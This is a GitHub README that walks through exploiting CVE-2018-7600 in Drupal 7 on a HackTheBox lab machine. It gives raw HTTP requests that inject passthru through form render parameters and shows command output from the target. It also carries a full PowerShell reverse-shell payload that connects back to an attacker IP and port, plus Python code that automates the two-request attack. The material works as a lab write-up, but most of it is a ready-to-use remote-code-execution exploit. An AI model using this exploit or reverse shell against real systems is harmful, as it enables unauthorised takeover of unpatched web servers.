Skip to content

0xConstant/CVE-2018-7600

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

8 Commits
 
 
 
 

Repository files navigation

ExploitDev Journey #2 | CVE-2018-7600 | Drupal 7.x Module Services - Remote CommandCode Execution

Original exploit: https://www.exploit-db.com/exploits/41564

Exploit name: Drupal 7.x Module Services - Remote Code Execution
CVE: 2018-7600
Lab: Bastard - HackTheBox

Description

There is a vulnerability in Drupal 7.x that allows us to create a malformed request that contains a system command and send it over to the target website. Later when we get a response, we also get a type of form id which we can later use to execute system commands.

How it works

Finally, this is going to be the first time where I am going to show how to exploit a vulnerability manually using BurpSuite so you can get an idea of how things really work.

Here is the login panel of Drupal:

To get started, simply insert a wrong username and password and send the request, capture the request using BurpSuite and you should see something like this:

POST /node?destination=node HTTP/1.1
Host: 10.129.170.251
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
Origin: http://10.129.170.251
Connection: close
Referer: http://10.129.170.251/
Cookie: has_js=1
Upgrade-Insecure-Requests: 1

name=tester&pass=tester&form_build_id=form-0AxqNRlYdm206tq5uWde_4aoDyHHT82rH34KNOw-h_A&form_id=user_login_block&op=Log+in

This is just like a template for us so we can make changes, we need to make changes to URI path and POST data.

The exploit uses passthru which is a PHP function to execute system commands, you can use system or shell_exec if you want to. There are two important URI parameters here:

  • name[#post_render][]
    • it's value is going to be passthru
  • name[#markup]
    • it's value is going to be the command you want to execute

And this is the POST data:

form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password

This is how it looks like when we render it on BurpSuite:

Since I am not the author of this exploit, I don't really know how it was found but just by looking at the exploit code, I managed to do everything using BurpSuite. Now you understand that password reset functionality is being exploited here.

When we send this request, we get a form_build_id in response and then we use that form ID with another specially crafted URI with parameters & POST request to finally execute our command.

Think about this, you need to craft one POST request along with the command that you want to execute and then you need to make another POST request to execute that command and see it's results.

Switch back to pretty or raw mode in BurpSuite and search for form_build_id, it should look something like this:

<input type="hidden" name="form_build_id" value="form-VDhJ2ThQiWT4jPxeYlTTto-8TmezqxceddLywNeSLX8" />

Now the fun begins, we use this form id's value to execute our command, your new POST request should look like this:

POST /?q=file/ajax/name/#value/form-HCb7o8npwGVshII8fvokJUX22tsHm9xBIUcLXR9ZQWI HTTP/1.1
Host: 10.129.170.251
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Origin: http://10.129.170.251
Connection: close
Referer: http://10.129.170.251/
Cookie: has_js=1
Upgrade-Insecure-Requests: 1

form_build_id=form-HCb7o8npwGVshII8fvokJUX22tsHm9xBIUcLXR9ZQWI

I changed the URI path to /?q=file/ajax/name/#value/form-HCb7o8npwGVshII8fvokJUX22tsHm9xBIUcLXR9ZQWI, notice that I have added the form_build_id there.
Then I added form_build_id as POST data in my request body.

The response is as follows:

HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate
Content-Type: application/json; charset=utf-8
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Server: Microsoft-IIS/7.5
X-Powered-By: PHP/5.3.28
X-Content-Type-Options: nosniff
X-Drupal-Ajax-Token: 1
Set-Cookie: SESScee6fe9f609de4a8079e558b9edfe8b9=pvfNFPKU-mk3m6GoIT3Tk8QweAEUPMo1ehYMBM5vOPg; expires=Mon, 21-Feb-2022 04:51:14 GMT; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Sat, 29 Jan 2022 01:17:54 GMT
Connection: close
Content-Length: 406

nt authority\iusr
[{"command":"settings","settings":{"basePath":"\/","pathPrefix":"","ajaxPageState":{"theme":"bartik","theme_token":"WKDAE8hBknoHp1VpkPThGGk7NpV6nkILLGeb_Fl9LY0"}},"merge":true},{"command":"insert","method":"replaceWith","selector":null,"data":"","settings":{"basePath":"\/","pathPrefix":"","ajaxPageState":{"theme":"bartik","theme_token":"WKDAE8hBknoHp1VpkPThGGk7NpV6nkILLGeb_Fl9LY0"}}}]

Our command was executed and it's result is: nt authority\iusr

In order to get a reverse shell, I am going to use a powershell reverse shell code:

POST /?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=powershell+-nop+-c+"$client+%3d+New-Object+System.Net.Sockets.TCPClient('10.10.16.19',+1338)%3b$stream+%3d+$client.GetStream()%3b[byte[]]$bytes+%3d+0..65535|%25{0}%3bwhile(($i+%3d+$stream.Read($bytes,+0,+$bytes.Length))+-ne+0){%3b$data+%3d+(New-Object+-TypeName+System.Text.ASCIIEncoding).GetString($bytes,0,+$i)%3b$sendback+%3d+(iex+$data+2>%261+|+Out-String+)%3b$sendback2+%3d+$sendback+%2b+'PS+'+%2b+(pwd).Path+%2b+'>+'%3b$sendbyte+%3d+([text.encoding]%3a%3aASCII).GetBytes($sendback2)%3b$stream.Write($sendbyte,0,$sendbyte.Length)%3b$stream.Flush()}%3b$client.Close()" HTTP/1.1
Host: 10.129.170.251
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
Origin: http://10.129.170.251
Connection: close
Referer: http://10.129.170.251/
Cookie: has_js=1
Upgrade-Insecure-Requests: 1

form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password

Send the request, get form_build_id in response and do what you did before to execute the command.


Writing the exploit

That was really cool wasn't it?
But it was kind of too much work, we should automate something like that right? That's what an exploit developer does.

In this exploit we use BeautifulSoup to grab form_build_id, to be honest I have seen this being used by another exploit developer and I liked their idea, I mean it can be done with regex as well but when we grab form_build_id with BeautifulSoup, it is far more readable and convenient to use.

We are also going to disable security warnings of requests module using the following code:

requests.packages.urllib3.disable_warnings()

Our command looks like this:

command = '''powershell -nop -c "$client = '''
command += '''New-Object System.Net.Sockets.TCPClient('%s', %s);''' % (lhost, lport)
command += '''$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"'''

You might ask, why did I split the command into three different lines and then concatenated them...
The reason for doing so was to make it easy to interpolate lhost & lport with string formatting, take a closer look here:

command += '''New-Object System.Net.Sockets.TCPClient('%s', %s);''' % (lhost, lport)

I am using string formatting to insert lhost & lport into the powershell command, you can try other types of concatenation but so far this method has worked for me.

You are already familiar with the parameters that we are going to send:

params = {'q':'user/password', 'name[#post_render][]': 'passthru', 'name[#type]': 'markup', 'name[#markup]': command}
data = {'form_id': 'user_pass', '_triggering_element_name': 'name',
        '_triggering_element_value': '', 'opz': 'E-mail new Password'}

The variable params sends URI parameters and data sends POST data; here is how it is going to be sent:

req = requests.post(url=rhost, params=params, data=data, verify=False)

Here comes BeautifulSoup into the code, we use it to parse data as HTML, as an exercise you can try to do this with regex but it's highly advised not to do so:

html = BeautifulSoup(req.text, "html.parser")
form_id = html.find('input', {'name': 'form_build_id'}).get('value')

Take a galance here:

<input type="hidden" name="form_build_id" value="form-VDhJ2ThQiWT4jPxeYlTTto-8TmezqxceddLywNeSLX8" />

BeautifulSoup takes text response, parses it as HTML, then we use html.find to find an input with it's name attribute set to form_build_id and once found we grab it's value.

Finally there is an if-else condition to see if we found form_build_id:

if form_id:
    try:
        params = {'q': f'file/ajax/name/#value/{form_id}'}
        data = {'form_build_id': form_id}
        print("[...] Executing payload, check your listener.")
        req = requests.post(url=rhost, params=params, data=data, verify=False, timeout=20)
    except Exception as e:
        sys.exit(f"[ ! ] Exception occured: {e}")
else:
    sys.exit("[ - ] Couldn't find form_build_id's value, exiting")

If a form_build_id was found then the following parameters and data would be sent:

params = {'q': f'file/ajax/name/#value/{form_id}'}
data = {'form_build_id': form_id}

Remember that you might get a shell and a timeout error at the same time and that's not an issue. The rest of the code is self explanatory and shouldn't be hard for any python programmer to understand.


Final thoughts

In this exploit development session, you didn't just learn how to code but you also learned how things are done manually, this helps you a lot to build your own exploits or read someone else's exploit and understand how it can be done manually.
You can replace BeautifulSoup with regex but it's not very advisable to do so, although there is only one form_build_id but professionally, it would be better if we use BeautifulSoup.

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages